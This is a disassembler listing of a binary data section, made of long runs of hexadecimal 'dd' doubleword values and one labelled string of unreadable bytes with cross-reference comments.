dd 0BCE6C20Ah, 8E0790A4h, 6580B8F3h, 2970BC9h, 777D3AD1h
dd 0DC60FA71h, 0FB00EAE1h, 0CF187FA5h, 71667C2Bh, 7AEEEC06h
dd 0ACFAF3h, 99161B5Ah, 4B772505h, 5EFD58h, 68BD2AC1h
dd 0F4A46BBh, 0EE139671h, 0B2280201h, 0E0202108h, 0BE241E66h
dd 5100445Ah, 1F0AB9DAh, 0D7330C06h, 2F081316h, 0BBB81D02h
dd 60DDC0FAh, 7E4CE58Ch, 807001Fh, 5BF1199Bh, 0D003217h
dd 3F41CA36h, 4C06C218h, 491C64CCh, 0B4B38A0h, 3400BDD0h
dd 3B215675h, 6486FE0h, 12E53AB4h, 0E90F4855h, 40FF002Ah
dd 0C7FCBD6h, 0AA72F0B9h, 0D4385119h, 50A7AC3Ah, 24DBDA00h
dd 184EA567h, 0CAE68263h, 0E019CF8h, 0C8D7AB49h, 388006h
dd 80B50A1Ch, 3693DBDDh, 0C2004C62h, 2041866h, 7424B8h
dd 3CCD31A7h, 1F9CC819h, 8A00A2EAh, 0B5162C17h, 1DB1BCF2h
dd 0C2A13BE9h, 1F9742F1h, 94BAC4C0h, 3F00AA7Ch, 2D0A3DA9h
dd 1F3EA388h, 401DA4C9h, 5EF3280Fh, 2100E9C8h, 5B41940Ch
dd 0F1575BDh, 0C512B06Bh, 131A00B6h, 6C59A679h, 6A40AC00h
dd 2BDE888Fh, 6B713A3Dh, 6AD3F00h, 0B4265311h, 0C9AE2200h
dd 0BF94B14Fh, 4EBC01BDh, 0F11F803Ch, 1C643C79h, 7342C4A3h
dd 0E0138B88h, 44AD5Dh, 0ACEC9735h, 6BA3D23Dh, 9B01A97Ch
dd 0FB28D62Eh, 37FC32EFh, 8AB074Dh, 4173473Bh, 0E00E43DFh
dd 0E0010686h, 0B70F7F8Eh, 0C9D53F96h, 0DAF8F887h, 4BA560BDh
dd 16304154h, 0A2B25E50h, 8E100019h, 0B2ADD23h, 4F13C8EBh
dd 3400FB59h, 0A07D218Ah, 0DF383020h, 26ED8EF8h, 0E280910Fh
dd 3FBC6001h, 0F542DB7h, 14860FA0h, 47D0D447h, 0D88B404Eh
dd 39008DAFh, 755F943Fh, 7E2EEEh, 264A960Bh, 234B5CF2h
dd 72053A98h, 35B07682h
dd 9AB335C7h, 0D280C42Fh, 84A354h, 0FDEADE8Ch, 0FE7B4860h
dd 0BA576501h, 13057AF8h, 2159F8h, 2D5CA27Ch, 5FADF527h
dd 713A650Fh, 10F62C48h, 7F4C5CC7h, 0BE89007Ch, 0B7050F8Fh
dd 0FB1608B4h, 1040CD8Dh, 7FE92A33h, 261A2EFAh, 0C81801CDh
dd 648D27C4h, 0EC75E770h, 0A45CD82Eh, 0D603E6C7h, 7210024Bh
dd 7E51EF39h, 877D0499h, 0F13B7431h, 4DF041DDh, 84EA069Fh
dd 88A6235Eh, 4E5DCCFFh, 0EB5B2500h, 0B56AC28h, 0BFB60944h
dd 70012BFFh, 0E0CE2940h, 11C057B4h, 0D998D399h, 6581004Eh
dd 0EFB7F3CDh, 8E73D701h, 0AFDB0400h, 0BFF79F20h, 1E4A00A2h
dd 48EB5F22h, 0E530FCA7h, 0F2014828h, 6C82E0BFh, 0F578201Ch
dd 5B94903h, 83F89C72h, 80CAE243h, 0FBE49D18h, 0D390005Eh
dd 0CE340683h, 6B0F8A8Fh, 0E1873F23h, 0B3A8A616h, 0F0AFEEC0h
dd 5FDE0C2Ch, 3B18E31Dh, 41B88200h, 9A5C9625h, 0BEE138C6h
dd 2199AC80h, 0ED23233h, 4392820Eh, 2ECCC0E7h, 7CD4C6h
dd 750CB649h, 18881471h, 6C004CFAh, 0E2DB24E3h, 0DB354h
dd 0C153D40Ch, 0C0EE3494h, 32DA9C00h, 3B996AEh, 55F70012h
dd 0A297E274h, 32C08966h, 8792B357h, 0DE21011Dh, 5F8A527Fh
dd 9439F003h, 800420F4h, 893A5601h, 27C61C90h, 7C57D5Ah
dd 316E48DBh, 2092FE4Bh, 5A0F9C2Ch, 0B0A6A700h, 0E9E046E4h
dd 19CC1EFCh, 0CF44C05Ch, 7CD1260Ah, 7129AE03h, 0E3AB9EDEh
dd 0DA1818DFh, 0A7BC4885h, 7365FA0Ch, 58210A8h, 9CF5CA93h
dd 0D9E01F84h, 806C08BCh, 0CABAB121h, 6060CE8Eh, 0FC805646h
dd 7462A2D4h, 8C0C860h, 9F9881E4h, 833B1A55h, 0E0B7062Ah
dd 89200AABh, 40CC2EDh, 10FDF317h, 8C7EB848h, 0E3C67A3Eh
dd 9C7CB48h, 787CE861h, 14B77980h, 0E20075AFh, 0F83EB17Bh
dd 337AD93h, 0E5D348F3h, 0CEB80D59h, 0E400CB58h, 0E907D05Fh
dd 606D15h, 9ADCED3Dh, 5EF17E98h, 33F07800h, 0C092CE3Ch
dd 3FBE5C35h, 45102901h, 0E00C91B8h, 2200CF84h, 9B286B11h
dd 48776Dh, 0E64D392Fh, 9319B006h, 0AF003DFEh, 7B013473h
dd 0E6E7D65h, 66486FECh, 261EA6C1h, 0B230E8A7h, 3836E100h
dd 3F843F4h, 7121001Fh, 2FE3ED13h, 0E416EB3Eh, 7D005479h
dd 0EECE6F44h, 932C01C1h, 0DD333C07h, 0AB25C482h, 3E03D00h
dd 0B66F7AC8h, 11C900F0h, 437B3833h, 0BA00D8B7h, 0E4C33984h
dd 0FD4CC7Ch, 80B5ECCFh, 26783C1h, 61D2E564h, 0ED19F498h
dd 0DC2FC400h, 868C911Dh, 6F0500C1h, 0B6EBA828h, 0F3032415h
dd 7DAC7633h, 0EF23A18Eh, 692BB06Bh, 8366413Ah, 351588C4h
dd 7383C092h, 0E82FF857h, 23B10054h, 3DE97A99h, 2100B69Ch
dd 948F8DF1h, 31BE9B74h, 51BC277Fh, 4BCA3036h, 0A35C9677h
dd 806B3E87h, 9C992064h, 0FAFC0CE4h, 104531F7h, 1132BA28h
dd 98121B66h, 8947A010h, 200208BEh, 0E42266ADh, 214B42F0h
dd 88BF1062h, 8D0843C0h, 0C86A121h, 0EC29AEA7h, 3DC211E3h
dd 146A5194h, 22647728h, 8722F3A8h, 146E503Fh, 67C6200Bh
dd 47517442h, 31122988h, 0DD88AB03h, 0C0BFBCB5h, 56329021h
dd 1442D300h, 0E57524C0h, 5B720023h, 0C5A3B8E3h, 32046F3Ah
dd 850BF34h, 12985C80h, 8E5F004Fh, 7F370442h, 943A97C4h
dd 797C00C9h, 0B8AB69DBh, 25DF009Ah, 47A1DEACh, 5600E6A0h
dd 0F99DA8F7h, 90C2Fh, 0CBFE34D5h, 8889080h, 0A9F3E800h
dd 3697DA6Ah, 3D827393h, 127201FAh, 0CE5084h, 0C6CC0BA8h
dd 0A2009A97h, 9DE283C4h, 5D13B2h, 0FA12084Fh, 3CF2BC2Ah
dd 0F426800h, 11C12946h, 67DA03ABh, 0E71AFE77h, 9ED37BC0h
dd 0F1E83800h, 1329F36Eh, 25C70FF8h, 4840BD57h, 0F21F0858h
dd 0BB7ED000h, 6CFF90C9h, 12650094h, 66A1C3Bh, 0FE00BFA5h
dd 0EC66B848h, 1CBB3F32h, 59D8B2h, 0A14A1DC8h, 23075FD9h
dd 3AEDCF9Ch, 606BE032h, 398BBE75h, 0B900D01Ah, 0E1F73CD3h
dd 741F7BDBh, 59004290h, 9EEF7C1Eh, 10E42Bh, 0E74BD229h
dd 75220641h, 8D0B9300h, 76D0956Fh, 5B6733Fh, 1C74790Eh
dd 32AE801Bh, 0B907903Eh, 70535C54h, 35E836A0h, 4D2C0B43h
dd 65F82568h, 9C4FC00h, 39DA45F1h, 2D670137h, 0C9151372h
dd 98A9C4E0h, 0A2034903h, 0B0637457h, 2F8B06h, 0B5EFB928h
dd 628504BBh, 9D0C8439h, 0C24CC12h, 806BF080h, 0FE354769h
dd 0A7BF0760h, 90144611h, 7443FBA4h, 0BC0389F4h, 0CFEDE3A2h
dd 85220049h, 0CAB79EDDh, 2550AA0Ah, 0F03F6ECh, 72B85634h
dd 936DA887h, 0AEDC0043h, 61C5E6E3h, 0E9004109h, 9D18A444h
dd 0FEF49766h, 614398Ch, 0F9E1EC00h, 913CE46h, 975ACF00h
dd 3B6533D6h, 0CB7204D9h, 0D0C5A401h, 0AE69EBDCh, 0BBF32F00h
dd 0E37693D4h, 0ED7D05DBh, 0C289C3h, 67717ECh, 2F00E2EBh
dd 0C8A66665h, 9723D7Fh, 0FBEA642Bh, 11951400h, 181DAA5Dh
dd 7FDE40h, 4E4635ACh, 18C69BDh, 0C156CE8h, 0F485E222h
dd 9C0E39D7h, 2077FA0Eh, 92CF7836h, 4EB005Dh, 0A924D562h
dd 0A30026CDh, 0F98215A4h, 92A8430h, 27DC903Fh, 81C65B80h
dd 2B00C3BBh, 369B6A10h, 84FFCDh, 29C128DDh, 248E68FCh
dd 80A4483Dh, 0A0CF5CFDh, 0F174BF3h, 132B61BFh, 0BD8E3400h
dd 210047C9h, 3D0EE541h, 68F3E4h, 0B69BB5BFh, 87A73F4Eh
dd 0FCEDE100h, 89468392h, 0A0040003h, 0E87A65B4h, 4C0060A2h
dd 0AC810955h, 0E90825Ah, 4843949Bh, 0A2FCC4C0h, 0A30717E7h
dd 20F1F79Fh, 0D48C5190h, 0E0092E88h, 21760079h, 0C6183204h
dd 5213F61Ch, 0FA80125Fh, 0E2ED1F92h, 0CA370FB2h, 0F88F4E38h
dd 1820FC06h, 304C0A1Fh, 1022844Ch, 475300C2h, 0C0988BD4h
dd 0E101AAB8h, 0BB9591BCh, 0CFDCF0EBh, 2D4A0016h, 7CF5232Fh
dd 6F0ED352h, 60205E6Eh, 8BEADC74h, 1D06E247h, 0C0B892F4h
dd 0ECC44271h, 0D40013D6h, 0DA5F996Ah, 647B82h, 0F2C5EE79h
dd 30D048B3h, 88E839h, 8A7AFAA6h, 33D225h, 906180Ah, 0A998EA36h
dd 353C4890h, 0BA238073h, 0C4E1E908h, 0FF6B0049h, 0B80EAFCCh
dd 59E6D495h, 35414C1Ch, 0F2282EC4h, 0D08BB980h, 261D7909h
dd 30E7EBFh, 0B04DB92Ah, 0A86381CCh, 481E70D4h, 84AB4300h
dd 549BC36Fh, 76B753Fh, 26D47DDh, 0B0C2B0E9h, 0E2120946h
dd 800A2FAh, 233C7385h, 0E74C01A8h, 619C0D75h, 0AE107027h
dd 0F471600h, 94C5E97Ch, 441C01D8h, 185BFE41h, 0C071EDECh
dd 6400E82Eh, 0C659628Dh, 90869A42h, 402B0008h, 15F0523Ah
dd 1F0020A8h, 0FF8F1833h, 488D19h, 0D1C94B04h, 0F474A940h
dd 0A41AA300h, 0A7638492h, 0E8B63DDBh, 3C116A00h, 7179AC14h
dd 0E956AB13h, 0E03CD4F8h, 1E080907h, 0F75560CDh, 90009365h
dd 0EB01A4B4h, 6002AAh, 8ED65E47h, 5DFF2DC9h, 1CB15C1Eh
dd 0D5E25180h, 1D175E6h, 0ECCEFC81h, 2464E34Fh, 59FCA22Ch
dd 0F8E4D414h, 0C98C00F0h, 0A3BA37A6h, 2D3B12A9h, 0D0C4009Dh
dd 0BB554F1Ch, 0BE3F18C0h, 935008h, 0DE1BBD5Ch, 0A46CE84h
dd 12FC700h, 0CC1FE353h, 0B6810773h, 30CFD094h, 91CB6B06h
dd 0C98D8700h, 9A05B0F1h, 0F850016h, 50DAC39Fh, 5201F6ADh
dd 0FABA17C7h, 78C81857h, 0C96500F5h, 940D3DF0h, 4907BCD9h
dd 6AA42997h, 0E8935433h, 798B634Fh, 3B350348h, 9E17785Ah
dd 0F73409D9h, 0FDA28081h, 0B8D0F077h, 0C5B73507h, 0D1A0E9D3h
dd 1CF6ABBCh, 0C79EAF40h, 37DFE6E5h, 0E3D9F0F5h, 150FADECh
dd 0E3458587h
dd 0B04AFFA0h, 0E6175AAh, 0C42A6A47h, 0ACFC407Dh, 2F9680CDh
dd 6D0EA5F2h, 8F593B61h, 0BA8A20D8h, 236C3h, 3A9949ACh
dd 8B8643C8h, 272DCB00h, 0A2B93F50h, 4D91008Ch, 0D85BF2AAh
dd 6F074237h, 7F128B68h, 3A6180EEh, 7B6F38Dh, 625009BFh
dd 0F99D034h, 85B0EE70h, 0F312DD0Ch, 78B6E8D9h, 8BCD0497h
dd 0C0BF11FBh, 6B31810h, 6D9DDA01h, 0EC6A3A2Eh, 9981E4h
dd 0BE843144h, 9ADF0104h, 0B6944000h, 0E10A776Ah, 0F799001Bh
dd 0C108DB1h, 0D200DC65h, 0E6C25BAEh, 0E51CB9h, 7F6CF7A0h
dd 5F168741h, 327C4976h, 3E03E85Ch, 1CA8BA78h, 1400FA64h
dd 0A48107BAh, 9BEA0012h, 98E13538h, 5E001FA6h, 0E5EC86C3h
dd 0E80533h, 79766916h, 7531C120h, 9A947100h, 0D3DCF9A5h
dd 77E29Ch, 0A3AC3B57h, 32569067h, 859D1A1Ch, 3A4A7B80h
dd 0BFD10Bh, 1B3422FBh, 0B214966Fh, 0BDC8F560h, 1609EF79h
dd 1B9778D4h, 0D5B00E02h, 0BC0F54CCh, 828CF1D7h, 8E84729Ch
dd 8001B6D8h, 21C1B2Ch, 190E9E4h, 0FFDE129Ah, 0C498105Ch
dd 34079CC9h, 0C4CCE670h, 8FEF6F40h, 159E00D7h, 0A3B4582Bh
dd 0E10018C2h, 0F6327E97h, 663DCAh, 0B76EEFC3h, 0C40D8D8Bh
dd 0F304BD00h, 0E07674A5h, 7BA61F49h, 0BFC84054h, 237C7E26h
dd 0BA0394E4h, 134A03D4h, 0C21900C7h, 0A81FEF6Bh, 2D00E440h
dd 8BC8B8CDh, 3F1389h, 0CE12295h, 96CFCBB7h, 8157DE38h
dd 0C6A517F9h, 0D1F08AB1h, 16250F33h, 4D2064EEh, 9B38967Ah
dd 0C5C30B00h, 0E6789286h, 0A81A0055h, 2F516BA4h, 0CB00992Bh
dd 3BCFF74Dh, 14FA28Dh, 0A928D8BAh, 807CE64Eh, 0BC6B1288h
dd 77E94073h, 8A0700FEh, 8D960B5Fh, 4700A09Ch, 0EFA64303h
dd 792C19h, 0AE064D95h, 0A035709Eh, 4BB8710Fh, 0C4BF4166h
dd 0CDF44950h, 209B1DE9h, 860440CBh, 0FD290953h, 0B6097C90h
dd 8C394D3Eh, 698822h, 0F2C4D3D8h, 0CE715642h, 35766701h
dd 2EA39122h, 0D0FA60h, 79AE8402h, 80783DD9h, 5900E976h
dd 522EB383h, 786ACA8Dh, 4BFB006Dh, 0F82AECB5h, 0F5B8B914h
dd 0F7E7E901h, 4334CDA1h, 1370AFEFh, 66E64Ah, 0D6BEBC09h
dd 0B04FFAF1h, 0AA0024FCh, 0A5EDDC97h, 0F618DAF6h, 0D02D00ABh
dd 0EE059B35h, 0B07EAE1h, 33DE5831h, 0CF4620FFh, 90DD37h
dd 2148E480h, 9E7BD9F2h, 0D2047307h, 1AA07D3Bh, 0E3EAEB1h
dd 0B5B77CBh, 292FFA40h, 3F006EABh, 42C05AB8h, 1E2904Ch
dd 8C59149Dh, 0F8154D3Dh, 0F4EC581Dh, 0FA67A517h, 0C5AA0900h
dd 0CBD45Fh, 7735B90Fh, 0E249A064h, 0A3B6E900h, 0AF68312Fh
dd 0AE150095h, 8C50821Fh, 9807610Eh, 2CA7F10Bh, 8E4916E0h
dd 884300FCh, 2A997365h, 7009B3Ch, 0DDE7FBCFh, 3E49C260h
dd 0A700E041h, 8BBB6E68h, 0B100B42Bh, 6B4ACF13h, 797A07h
dd 0C06A3026h, 98D45B28h, 8D10DC01h, 0FF1D7D06h, 9CA1C0h
dd 4C51A02h, 0E1847075h, 17928200h, 86742B8Dh, 944E003Ah
dd 0D065DD26h, 7A141FC8h, 0B8812Dh, 9B87B089h, 0AF676Dh
dd 69D59117h, 0A93FFCCAh, 0F9433800h, 7A31DC45h, 2B60072h
dd 0A80F68A2h, 9400E5B5h, 7E928953h, 81612CAh, 0EE045558h
dd 708A880Eh, 0F326B282h, 35CD9380h, 0D0000CBAh, 3216E245h
dd 9E5ED9h, 0B7877D6Eh, 967988C9h, 18558339h, 0F6A87ADEh
dd 7BB90085h, 0AF518E48h, 2A079123h, 0D41B160h, 39B737D1h
dd 8C72FCh, 5CE43276h, 55124544h, 4C98C63Ah, 9D83036Dh
dd 88BEA1AAh, 7CCD6B9Ch, 0B087EFD8h, 0D0C4880Ah, 3A13E057h
dd 0C101D578h, 0A22E1B38h, 0F520C6A6h, 1F607D8h, 0D0DF0B17h
dd 7D525EEDh, 1CBB8D00h, 76C6CD23h, 610C00EFh, 0AE42A891h
db 0B4h
aGo db '¾êÊ&ƒoÏ',0 ; DATA XREF: ___:00438120o
; ___:00438138o
db 68h, 0B1h, 0D6h
dd 765C7C1h, 313E49B0h, 213AF011h, 9AFC15AAh, 38983D1Dh
dd 0E9744D40h, 724178Eh, 4E05BEADh, 2C7AD0C5h, 9B0093BBh
dd 6EA2FE4Ah, 0B3DBD0h, 64091FE0h, 0FFCF52EAh, 74205F0Eh
dd 8276C7ACh, 3FE39270h, 0B8510A42h, 1E9FD139h, 1D26C0F0h
dd 3DC193B2h, 1B37EF01h, 0E4AF843Bh, 3D4D9CCh, 35D6B58Dh
dd 8A01225h, 0F500534Ah, 0BF02D27Fh, 60690306h, 1EEC90BAh
dd 0EA00CE6Fh, 41AC4475h, 3B6C603Bh, 42802934h, 0A9B90628h
dd 5600851Ch, 0BEBB6B0Bh, 1A56858h, 0AC641E31h, 0F065EAEFh
dd 0BC00E02Ch, 42B55DA0h, 36322Dh, 7C9619C2h, 0A27B2422h
dd 0D1A7E20Eh, 28005737h, 19095E46h, 0A0566045h, 1BB374B4h
dd 0BCD4E200h, 0E1217A02h, 3DE407DCh, 40C2795Dh, 76F3AF41h
dd 55FC3990h, 9F398EFEh, 759480BDh, 777EEA40h, 0B14F01D5h
dd 0C5B67C27h, 0A002CF20h, 0E1C81C26h, 80DD6288h, 0DEF80C48h
dd 0AD21007Bh, 0EBF401B3h, 790343BCh, 547140ABh, 8703E0F5h
dd 0AA531652h, 43E40E09h, 20F661C7h, 0FC4158C0h, 8F019B1Fh
dd 0A9B335C0h, 0E1D675h, 52385722h, 0F3DB7B83h, 640F6377h
dd 0C0F14866h, 29678D1Ah, 8EB30247h, 8968E452h, 0E85BE880h
dd 0F4E1CD5Eh, 2C035957h, 61152BCEh, 0A2A4B88Eh, 9E6400DEh
dd 0F2568F27h, 0CB9868A3h, 3FFB0A00h, 0AB8790E1h, 46033CD1h
dd 0C032209Eh, 2DD7E06Eh, 2C00EDB3h, 7FBC68F5h, 0D5A470h
dd 6D2838C8h, 0DEAE544Dh, 0F9E57803h, 997E88C2h, 99DC0A71h
dd 2369008Bh, 7CD952F4h, 0BC038F15h, 0AF114281h, 9B60C86Bh
dd 913005DBh, 8021077Ah, 10E9DA7Ah, 4227E4FFh, 1D66800h
dd 43827448h, 4B3D5851h, 0F9113Bh, 7C8616Fh, 3E134B36h
dd 0B52CA401h, 4862A95Ch, 7E2C60h, 4EC56785h, 2D44D580h
dd 41F99E00h, 20564932h, 642B008Ch, 0FD4659D6h, 7D502794h
dd 7F0089E0h, 61FEC165h, 3977B81h, 9DB0EAEh, 0CAE871A9h
dd 9B00402Fh, 0A40A9A17h, 8FF6C6h, 67229B2h, 4C4F6F8Dh
dd 7523E901h, 11E7AEB0h, 3F5E4C20h, 7D9DC4AFh, 0B7DBCC10h
dd 0C9753219h, 0FC6E7603h, 0C8023EA2h, 3B2257Ch, 0C54283BFh
dd 0C0A0A13Bh, 8C90054Ch, 4A6A0E12h, 0BE9B8000h, 7FC86DAAh
dd 79A10084h, 128CD121h, 7624D83Bh, 0DE0010C0h, 1F9BA88Eh
dd 0B0A36087h, 0F0D22633h, 441721C0h, 5E7CA8h, 30DF98E5h
dd 5DF31303h, 0F929E200h, 0C149A4FAh, 0BD4FD9Ah, 0A2FB3B16h
dd 79DCFD80h, 93C75DE8h, 7384BD2Ch, 6D56DE03h, 8A59F0B7h
dd 0C4E80097h, 0A11A117h, 0AC0063E7h, 0F44D5F50h, 5B8C197Fh
dd 0AA4CA03Fh, 0E03A5600h, 7B543E53h, 0E42C3FC0h, 73DF7F85h
dd 38A000B8h, 0B55C85C7h, 0D6314E01h, 909B0D34h, 4D439A80h
dd 81BD6D17h, 0E5A94000h, 0C58702CDh, 0A6B13014h, 35EB95F8h
dd 60C8577h, 198A1A88h, 1E6FEA78h, 824616A3h, 500BE4FEh
dd 90486962h, 0DE482A6Ah, 845D2680h, 0B9648038h, 9D670F8Ah
dd 5CFF002Fh, 0D5600245h, 0B53B5A0Dh, 0B769FE3h, 0AFE0C9h
dd 0A64B7C20h, 0FA351CABh, 84E18071h, 0B3924CBBh, 0F2F4D150h
dd 0ADEB4B01h, 6631C7FCh, 0FFC03435h, 954601F9h, 971F4085h
dd 0C9DFC07Ch, 0E7EA5A0Ch, 0E15498FBh, 60A946F0h, 0B14A71FAh
dd 42017ED7h, 0F76C7D0Dh, 64348F03h, 2D9F2616h, 0C74BD7Ch
dd 0DFD376B8h, 0EA3CB270h, 0A0FB8097h, 0B6608074h, 0EB61016Dh
dd 0A9AEC020h, 9E7830BFh, 920F65F0h, 42211589h, 68972584h
dd 0B50E0CCh, 7B52D1ECh, 6DDB1C10h, 4500F77Ch, 40895648h
dd 0F46A4C17h, 0D17788h, 0D275DE5Ch, 0E4C616E1h, 3BD44948h
dd 90B50A0Eh, 7600D470h, 0D697588Ch, 202302A4h, 0BCBB62B1h
dd 9E577083h, 407370EFh, 9974BEE1h, 8E0F95E0h, 608645F8h
dd 5B7E8921h, 0BAFF00C2h, 6898B8F3h, 0C800372Fh, 0DB343FFDh
dd 7F9BBDh, 0D682C3C7h, 8E521C0Ah, 4130D107h, 0C9E025DAh
dd 197E11Bh, 9FFCB323h, 40D1F79Bh, 7B0594C4h, 9D57A900h
dd 4EDB3BD3h, 0AC561328h, 0E19441F2h, 0F46269BBh, 837193BEh
dd 0F3EE880h, 8111B10Dh, 104EA480h, 5F1354B8h, 900184A0h
dd 0EC49763Dh, 2851800h, 0EABE4809h, 174800BDh, 922BBAB7h
dd 0F2F1FF0h, 12064098h, 319F0C63h, 147CC824h, 0BA248B00h
dd 0B05CD074h, 0B3FE1C3Ah, 0F5E983F9h, 2A98FC96h, 8700B835h
dd 8D73595Eh, 0DE9A20h, 5D7881B4h, 297DD8Fh, 4D41BB03h
dd 0D86C86E5h, 4C71CEh, 991E56E4h, 510E2DCh, 0EDD2405h
dd 8C8101BDh, 0D9D0D77Fh, 275E0007h, 3DE7D415h, 0E101D0D3h
dd 0E0F4B6A0h, 1424D849h, 90B7h, 4FBCFA45h, 9C88E971h
dd 18A9ED30h, 0B0E28FEAh, 65F3002Fh, 0E77B50BCh, 32003671h
dd 58071F2Bh, 98530B9Eh, 178D07B1h, 90F12787h, 0BEF3F069h
dd 97C63400h, 9A492B3Fh, 70E600EBh, 4EBB4FE3h, 41009656h
dd 69E46C13h, 333BD88h, 39A0EA3Ch, 55A2C3C0h, 7DB99460h
dd 9FE31E00h, 77AFAA8Ah, 0EC48F6E4h, 0C8CE00D6h, 3FF812EDh
dd 0E738535Dh, 0B51E60C4h, 34D9DABh, 0BC5FB110h, 37E026BFh
dd 2903791Fh, 0D6E7A12h, 0B6863FA4h, 5C08ECF4h, 6500AC72h
dd 0E4931C9Ah, 0E50785E0h, 0A559F501h, 0B1DE3E0h, 53510E20h
dd 0EE27772Dh, 1CA7E08Dh, 0E10E43BEh, 206B3999h, 1EB321AEh
dd 481BF2A1h, 0A0005CD0h, 44DEE7B9h, 5800F950h, 0EA4742CAh
dd 7943695h, 26656D62h, 0C0C7049Dh, 45373FEBh, 1FD12724h
dd 0C5FEF500h, 2A879DBh, 24280F94h, 5C4086ADh, 2D03A0B1h
dd 2E9D32E9h, 0A8C2C82Fh, 4981F8B5h, 0C1005885h, 61B43828h
dd 3A091894h, 0A0D9AE27h, 88526364h, 350B1DE6h, 24534319h
dd 0A6D01695h, 970156F6h, 2F3926E4h, 0CBF1ABECh, 0F2057D8h
dd 98E828E3h, 661F12E3h, 82B6180Ch, 3BCF0F4h, 815DD344h
dd 70DF8897h, 326E3DE1h, 193B3E03h, 909DCBh, 676CCEE9h
dd 7D112CBBh, 96BE401h, 34FECC60h, 79C2A470h, 7FA00B8h
dd 888A7A52h, 30C0952Ch, 98B4101Ah, 38B30FC5h, 419DE43Bh
dd 3F192A74h, 1828AAh, 0F46BA34Ah, 0A0E225F3h, 8B0294h
dd 0E0A84E04h, 2224C112h, 0B7D4650Fh, 205E020h, 607981D5h
dd 2F38B8E4h, 0B42C4E16h, 7A0024DBh, 0F3BD895Dh, 4DBA002Ch
dd 26AC14AFh, 581D6886h, 80FED794h, 20784524h, 1FC01113h
dd 0B99ECA64h, 13939054h, 23855BF5h, 91809610h, 959E469h
dd 6788021Ch, 20AABD5Eh, 0FA07C46Fh, 8802DA4Ah, 707D91h
dd 3C2DD142h, 58E0D901h, 8F2C30C2h, 0D6405E81h, 20DD5981h
dd 88095510h, 60091FAAh, 0A6ED54h, 4F1004BEh, 2DD902F0h
dd 5FD19A00h, 7E231DEAh, 1ABE468h, 0BD355D85h, 31AAB160h
dd 9E6BC41Dh, 74F81C04h, 2480AC9Ch, 0F2B33C40h, 0E40F3091h
dd 8C427D60h, 3500DE73h, 0F9B105B2h, 7CCA0A20h, 0DB641CE7h
dd 0C0989F08h, 85A9A231h, 2B00D56Bh, 4CF4CBFBh, 54D8D1h
dd 1BC4A73Eh, 0E4688B96h, 70A41D00h, 8A2BE98Ch, 3C10FECh
dd 4DC7FE90h, 4898C059h, 0BD00D006h, 2635B2Eh, 7523E86h
dd 75544FDEh, 7C6E90CAh, 0EC0FE84Ch, 0A07BCCB2h, 77E2D872h
dd 25780371h, 95171187h, 107036C0h, 6AA53701h, 0F204DE4Ch
dd 61C8E040h, 0D8A6C6AEh, 57B024C6h, 11DD820Eh, 5636409Ch
dd 7B8B5EFh, 0F8FF03BFh, 0A908E0EEh, 0FD3B508Bh, 0D7D39FD6h
dd 0C7776C40h, 9053452Ch, 6BF913E8h, 93F00015h, 72553F80h
dd 0B4744C00h, 0DAFD9030h
dd 2D14388Fh, 0A5F80B80h, 0A320D2B5h, 0A261510Fh, 5CF0E0C3h
dd 50E2F932h, 924C4C2h, 627E089Bh, 45E14080h, 26092776h
dd 3B479FCh, 0A0B34DA4h, 8D12B2h, 58407AB7h, 31C5D4F7h
dd 5D07427Ch, 0A84C11D5h, 0A56AE30h, 58E91368h, 5E00EAF9h
dd 8537313Fh, 35FE022Fh, 4904EA65h, 26139CE8h, 0C7E488B0h
dd 374B8B00h, 332B0D14h, 0B3BE1D85h, 9D18E47Dh, 0CFD7C118h
dd 0DC09D9D2h, 0F2EB6ADh, 490F6859h, 5E82C001h, 0F8A12839h
dd 0B9620050h, 43A7CE0Bh, 0D80022A2h, 0BFD52E77h, 32F3538h
dd 0E13DB4DAh, 0CCE06D08h, 4B00DC91h, 78645D3Ah, 4C3912h
dd 43240AECh, 0CE9FA776h, 5E655F1Ch, 70B62E00h, 3C9E45h
dd 6FD84A52h, 0F372F233h, 113A367Fh, 0F9600087h, 0A74A0A85h
dd 0E403008Bh, 7EBB27F5h, 0BD00D851h, 1A461C04h, 0F6EF94h
dd 54B233C8h, 0BC082A4h, 51091401h, 125E38B7h, 0FCFEAD8h
dd 0F55C93ACh, 4572ED20h, 1B733CA1h, 4C436909h, 0E735CAEh
dd 1C44F7h, 813FF95Ch, 0B0009E0Dh, 0EA34A4A5h, 79B6177Dh
dd 0C7FA4Ah, 99BA5243h, 0C31C0ED4h, 1B00C0F4h, 0FAF75FA7h
dd 61690h, 0D0D425D1h, 0B8542E94h, 4555E500h, 1390AA3Ch
dd 44C403E1h, 0C25C9E0Ah, 0AF16BC90h, 0F821101Dh, 521D2840h
dd 0C3BE3Bh, 0CC950815h, 0FF7ED104h, 0F2F70B02h, 833292A1h
dd 0A8C296CBh, 0DD55D9h, 631E97ACh, 0D035FD6Ah, 0D8ADEC00h
dd 0F7EACCE9h, 0F13F00CDh, 2A8E9B7Ch, 0B800A870h, 866A92DCh
dd 9009D8C7h, 7C4100DEh, 1077DA73h, 0F300460Dh, 7901DD48h
dd 52EA21h, 0F660579Ch, 9B766215h, 0F80CAC00h, 1B95747Bh
dd 6A90003Ch, 6DA9B742h, 9B175EB5h, 770F1743h, 0F0838788h
dd 34F45440h, 0D060076h, 17EC6AC4h, 2000DE3Eh, 9B56C97Fh
dd 71E8B72Dh, 9D7700D7h, 55C74DF7h, 0B6016CEEh, 0B5E03C95h
dd 0F0C0A837h, 192D1E5Bh, 0FDC8C0A7h, 7B2CB47Eh, 0D3100300h
dd 219D089Ah, 9E90014h, 0F6E08D48h, 3F007D3Eh, 0E3514D5Fh
dd 4CFB199Dh, 8B16941Dh, 722500C8h, 9A582E48h, 510CFD00h
dd 0A78D7D97h, 0B87C00B0h, 46EDE03Fh, 8100C68Fh, 0AF74796Fh
dd 7B60241h, 5E40A211h, 0C09C4F24h, 852A3AF3h, 0CE3D0574h
dd 6AC80037h, 0CD47A07h, 4938001Eh, 890E13A9h, 0DA00E575h
dd 6B8C1FA2h, 26EBEDEh, 96FF0576h, 27C0498Dh, 5100D009h
dd 38CC7CE9h, 769AE2BCh, 881C006Dh, 96A376E0h, 75602734h
dd 2C83D670h, 0E990092h, 0D840501Eh, 0C40096DCh, 0CBE49D7Dh
dd 0FA4E1030h, 617DA1h, 0CF48EF65h, 0DEBD38F7h, 4C4DD48h
dd 27499C0Ch, 3B507C87h, 0B039CED3h, 0CFAB000Ch, 60580755h
dd 40F2B724h, 7952E800h, 0F1C764CBh, 8B910E66h, 0DEE001D8h
dd 54199068h, 7DE4830Eh, 5994A0B9h, 3918951Eh, 841F3B0Eh
